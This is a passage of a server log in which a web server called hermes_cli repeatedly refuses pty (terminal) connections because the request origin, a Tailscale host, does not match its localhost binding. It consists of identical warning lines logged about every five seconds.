origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:17:00,740 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:17:06,800 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:17:11,634 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:17:15,820 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:17:20,621 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:17:25,480 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:17:30,999 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:17:36,577 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:17:41,546 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:17:45,752 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:17:50,415 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:17:55,496 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:18:00,351 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:18:05,520 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:18:10,489 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:18:15,520 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:18:20,424 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:18:25,539 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:18:30,398 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:18:35,498 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:18:40,695 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:18:45,468 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:18:50,732 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:18:55,612 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:18:59,851 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:19:04,435 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:19:09,382 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:19:13,793 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:19:17,764 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:19:22,780 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:19:27,588 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:19:32,498 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:19:37,479 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:19:42,440 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:19:47,454 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:19:52,567 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:19:57,597 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:20:02,720 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:20:06,717 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:20:11,518 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:20:15,824 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:20:21,935 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:20:27,724 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:20:32,399 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:20:37,507 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:20:42,443 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:20:47,459 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:20:51,853 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:20:55,868 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:21:00,900 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:21:04,769 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:21:09,360 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:21:15,236 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:21:20,541 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:21:25,403 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:21:30,440 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:21:34,798 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:21:39,482 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:21:44,604 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:21:49,409 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:21:53,769 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:21:58,603 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:22:03,000 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:22:08,651 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:22:13,433 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:22:18,503 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:22:23,422 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:22:30,787 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:22:36,933 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:22:41,508 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:22:46,523 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:22:51,520 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:22:56,577 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:23:00,999 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:23:06,639 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:23:11,452 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:23:16,434 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:23:21,427 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:23:26,466 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:23:32,214 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:23:37,557 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:23:41,678 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:23:46,450 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:23:50,748 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:23:55,500 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:24:00,838 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:24:04,895 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:24:10,155 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:24:16,231 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:24:20,753 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:24:24,860 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:24:29,474 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:24:34,512 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:24:38,776 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:24:43,601 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:24:50,167 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:24:55,752 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:25:00,649 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:25:05,661 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:25:10,896 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:25:15,444 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:25:21,200 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:25:26,461 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:25:31,557 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:25:36,540 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:25:40,844 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:25:45,390 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:25:50,543 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:25:56,285 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:26:01,808 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:26:06,663 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:26:11,652 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:26:17,775 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:26:22,465 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:26:27,552 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:26:33,473 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:26:38,510 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:26:43,508 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:26:48,436 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:26:54,642 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:26:59,489 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:27:04,782 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:27:10,684 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:27:15,496 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:27:21,440 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:27:26,435 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:27:31,531 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:27:36,552 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:27:41,357 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:27:46,693 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:27:51,489 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:27:56,510 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:28:01,666 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:28:06,455 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:28:11,484 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:28:16,849 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:28:21,687 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:28:27,392 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:28:32,436 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:28:37,584 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:28:42,509 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:28:47,505 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:28:51,939 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:28:57,571 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:29:02,527 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:29:07,960 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:29:13,655 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:29:19,064 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:29:24,895 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:29:29,492 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:29:34,513 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:29:39,448 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:29:44,554 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:29:49,479 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:29:54,396 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:29:59,600 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:30:03,857 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:30:09,789 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:30:14,807 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:30:19,903 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:30:24,503 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:30:30,053 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:30:35,582 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:30:40,491 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:30:45,510 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:30:50,511 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:30:55,685 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:31:00,476 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 